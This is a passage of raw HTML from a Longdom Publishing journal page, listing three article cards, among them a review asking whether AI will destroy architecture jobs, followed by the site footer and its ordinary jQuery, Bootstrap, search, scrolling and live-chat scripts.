href="https://www.longdom.org/abstract/bibliometric-analysis-of-entrepreneurial-trends-in-the-energy-sector-a-focus-on-the-residential-electricity-market-107028.html" title="Click here" class="card-link text-danger filelinkclass"><i class="fas fa-file-alt"></i> Abstract</a> <a href="https://www.longdom.org/articles/bibliometric-analysis-of-entrepreneurial-trends-in-the-energy-sector-a-focus-on-the-residential-electricity-market-107028.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/bibliometric-analysis-of-entrepreneurial-trends-in-the-energy-sector-a-focus-on-the-residential-electricity-market.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Research Article</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/building-information-model-for-cost-estimation-and-scheduling-in-building-architecture-105826.html" title="Building Information Model for Cost Estimation and Scheduling in Building Architecture"> Building Information Model for Cost Estimation and Scheduling in Building Architecture</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/mohammad-zia-rahimi-65620' style='color:#555; border-bottom:1px dotted #CCC;' title='Mohammad Zia Rahimi'>Mohammad Zia Rahimi</a>* and <a href='https://www.longdom.org/author/hasibullah-khan-65845' style='color:#555; border-bottom:1px dotted #CCC;' title='Hasibullah Khan'>Hasibullah Khan</a> </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile5" countattr = "5" > <div class="nav font-size-3"> <a href="https://www.longdom.org/abstract/building-information-model-for-cost-estimation-and-scheduling-in-building-architecture-105826.html" title="Click here" class="card-link text-danger filelinkclass"><i class="fas fa-file-alt"></i> Abstract</a> <a href="https://www.longdom.org/articles/building-information-model-for-cost-estimation-and-scheduling-in-building-architecture-105826.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/building-information-model-for-cost-estimation-and-scheduling-in-building-architecture.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> <article class="card shadow-sm hover-transform mb-3"> <div class="card-body py-2"> <p class="mb-1 font-size-2 text-warning">Review Article</p> <h3 class="font-size-4"><a href="https://www.longdom.org/articles/is-ai-going-to-destroy-jobs-in-architecture-103637.html" title="Is AI Going to Destroy Jobs in Architecture?"> Is AI Going to Destroy Jobs in Architecture?</a></h3> <p class="mb-1 font-size-3 text-muted"> <i class="fas fa-user"></i> <a href='https://www.longdom.org/author/kunal-mathurkar-62738' style='color:#555; border-bottom:1px dotted #CCC;' title='Kunal Mathurkar'>Kunal Mathurkar</a>* </p> </div> <div class="card-footer d-flex justify-content-between filerowclass" id="rowfile6" countattr = "6" > <div class="nav font-size-3"> <a href="https://www.longdom.org/abstract/is-ai-going-to-destroy-jobs-in-architecture-103637.html" title="Click here" class="card-link text-danger filelinkclass"><i class="fas fa-file-alt"></i> Abstract</a> <a href="https://www.longdom.org/articles/is-ai-going-to-destroy-jobs-in-architecture-103637.html" title="Click here" class="card-link text-success filelinkclass"><i class="fas fa-file-code"></i> HTML</a> <a href="https://www.longdom.org/articles/is-ai-going-to-destroy-jobs-in-architecture.pdf" title="Click here" class="card-link filelinkclass"><i class="fas fa-file-pdf"></i> PDF</a> </div> </div> </article> </div> </div> </div> </div> </section> <div class="col-md-12"> <h3 class="heading-1 mt-3 font-size-5">Relevant Topics</h3> <div id="load_data"></div> <div id="load_data_message"></div> </div> </main> </div> </div> </section> <footer class="bg-blue-grey-900 py-3"> <div class="container"> <div class="row"> <div class="col-12 col-sm-4"> <h4 class="white font-size-4 fweight-400 border-bottom-1 pb-2">Content Links</h4> <ul class="list-unstyled footer-links font-size-3"> <li><a class="" href="https://www.longdom.org/online-tools.html" title="Click here">Tools</a> </li> <li><a class="" href="https://www.longdom.org/feedback.html" title="Click here">Feedback</a></li> <li><a class="" href="https://www.longdom.org/careers.html" title="Click here">Careers</a></li> <li><a class="" href="https://www.longdom.org/privacy-policy.html" title="Click here">Privacy Policy</a></li> <li><a class="" href="https://www.longdom.org/terms-conditions.html" title="Click here">Terms & Conditions</a></li> <li><a class="" href="https://www.longdom.org/authors-reviewers-editors.html" title="Click here">Authors, Reviewers & Editors</a></li> </ul> </div> <div class="col-12 col-sm-4"> <h4 class="white font-size-4 fweight-400 border-bottom-1 pb-2">Contact Longdom</h4> <p>Longdom Group SA<br> Avenue Roger Vandendriessche,<br> 18, 1150 Brussels, Belgium<br> Phone: +442038085340 <br><strong>Email:</strong> <a href="mailto:info@longdom.org" class="white" title="Click here">info@longdom.org</a></p> </div> <div class="col-12 col-sm-4"> <h4 class="white font-size-4 fweight-400 border-bottom-1 pb-2">Connect</h4> <nav class="nav nav-pills social-icons-footer flex-column a-pl-0"> <a href="https://www.facebook.com/longdompublisher" title="Click here" target="_blank" class="nav-link bg-facebook-hover"><i class="fab fa-facebook-f bg-facebook"></i> Facebook</a> <a href="https://www.linkedin.com/company/longdom-publishing-sl/" title="Click here" target="_blank" class="nav-link bg-linkedin-hover"><i class="fab fa-linkedin-in bg-linkedin"></i> Linkedin</a> <a href="https://twitter.com/LongdomP" title="Click here" target="_blank" class="nav-link bg-twitter-hover"><i class="fab fa-twitter bg-twitter"></i> Twitter</a> <a href="https://www.instagram.com/longdom_publisher/" title="Click here" target="_blank" class="nav-link bg-instagram-hover"><i class="fab fa-instagram bg-instagram"></i> Instagram</a> </nav> </div> </div> <div class="row text-center"> <div class="col"> <p>Copyright © 2024 <a href="https://www.longdom.org/" title="Click here" class="white">Longdom Publishing</a>.</p> </div> </div> </div> </footer>  <a href="#0" class="cd-top js-cd-top">Top</a>   <script defer src="https://code.jquery.com/jquery-3.3.1.min.js"></script> <script defer src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script> <script defer src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>  <script> jQuery(function($) { $(window).scroll(function fix_element() { $('#target').css( $(window).scrollTop() > 100 ? { 'position': 'fixed', 'top': '440px' } : { 'position': 'absolute', 'top': '440px' } ); return fix_element; }()); }); </script>   <script defer src="https://unpkg.com/feather-icons"></script> <script> feather.replace() </script>  <script defer src="/assets/js/scroll-to-top.js"></script>  <script defer type="text/javascript" src="/assets/js/coolautosuggest.js"></script> <script language="javascript" type="text/javascript"> $("#keyword").coolautosuggest({ url: "https://www.longdom.org/author-names.php?chars=", minChars: 3, }); </script> <script defer src="/assets/js/jquery.mCustomScrollbar.concat.min.js"></script> <script> // Scrollbar var Scrollbar = function() { "use strict"; // Handle Scrollbar Linear var handleScrollbarLinear = function() { $(".scrollbar").mCustomScrollbar({ theme: "minimal-dark" }); } return { init: function() { handleScrollbarLinear(); // initial setup for scrollbar linear } } }(); $(document).ready(function() { Scrollbar.init(); }); /*========================== Stikcy Navbar ============================*/ window.onscroll = function() { myFunction() }; var navbar = document.getElementById("sticky-navbar"); var sticky = navbar.offsetTop; function myFunction() { if (window.pageYOffset >= sticky) { navbar.classList.add("sticky") } else { navbar.classList.remove("sticky"); } } /*========================== Bootstrap Popover ============================*/ $(function () { $('[data-toggle="popover"]').popover() }) </script>  <script defer src="/assets/js/jquery.malihu.PageScroll2id.min.js"></script> <script> (function($){ $(window).on("load",function(){ $("a[rel='m_PageScroll2id']").mPageScroll2id(); }); })(jQuery); </script>  <script defer type="text/javascript" src="/assets/js/jquery.matchHeight-min.js"></script> <script> $(function() { $('.match-height').matchHeight({ byRow: true, property: 'height', target: null, }); }); </script> <script defer type="text/javascript" src="/assets/js/grids.min.js"></script> <script type="text/javascript"> // Equal Height var EqualHeight = function() { "use strict"; // Handle Equal Height var handleEqualHeight = function() { $(function($) { $('.equal-height').responsiveEqualHeightGrid(); }); } return { init: function() { handleEqualHeight(); // initial setup for equal height } } }(); $(document).ready(function() { EqualHeight.init(); }); </script>  <script defer src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.2/js/bootstrap-select.min.js"></script> <script> $('.selectpicker').selectpicker(); </script> <script> $(document).ready(function(){ var filecount = 1; $('.filerowclass').each(function(){ var countattr = $(this).attr('countattr'); if(filecount == countattr){ var countlink = $('#rowfile'+countattr+ ' .filelinkclass').length; if(countlink == 0){ $('#rowfile'+countattr).remove(); } } filecount++; }); }); </script>  <script type="text/javascript"> $(document).ready(function() { $("#wait").hide(); $("#jkeyword").keyup(function() { $("#wait").show(); //values of sending variables var jkeyword=$("#jkeyword").val(); var dataString = { 'jkeyword':jkeyword }; $.ajax ({ type: "POST", url: "https://www.longdom.org/journal-search.php", data: dataString, cache: false, success: function(html) { $("#jresult").html(html); $("#wait").hide(); } }); }); }); </script> <script type="text/javascript">function add_chatinline(){var hccid=40955988;var nt=document.createElement("script");nt.async=true;nt.src="https://mylivechat.com/chatinline.aspx?hccid="+hccid;var ct=document.getElementsByTagName("script")[0];ct.parentNode.insertBefore(nt,ct);} add_chatinline(); </script> <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <script defer src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script>  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> <script> $(document).ready(function(){ var limit = 21; var start = 0; var file_path = 'global-journal-engineering-design-technology.html'; var journal = 'gjedt'; var action = 'inactive'; function load_data(limit, start) { $.ajax({ url:"https://www.longdom.org/peer-reviewed-journals/autoload_rtopics.php", method:"POST", data:{ limit:limit, start:start, file_path:file_path, journal:journal }, cache:false, success:function(data) { $('#load_data').append(data); if(data == '') { $('#load_data_message').html(""); action = 'active'; } else { $('#load_data_message').html("<img src='https://www.longdom.org/assets/img/loader.gif' boredr='0' width='20' height='20'>"); action = "inactive"; } } }); } if(action == 'inactive') { action = 'active'; load_data(limit, start); } $(window).scroll(function(){ if($(window).scrollTop() + $(window).height() > $("#load_data").height() && action == 'inactive') { action = 'active'; start = start + limit; setTimeout(function(){ load_data(limit, start); }, 1000); } }); }); </script>  <script language="javascript"> $(document).ready(function(){ //$.noConflict(); $.ajax({ url: "https://www.longdom.org/journals/ajax_getarticle_charges.php", data: { 'jid':'gjedt' }, type: 'post', success: function(result){ //var obj = jQuery.parseJSON(result); //$("#articlecharge_usd").html(obj.fee_usd); //$("#articlecharge_euro").html(obj.fee_euro); //$("#articlecharge_gbp").html(obj.fee_gbp); $("#proc_fees").html(result); } }); }); </script> </body> </html>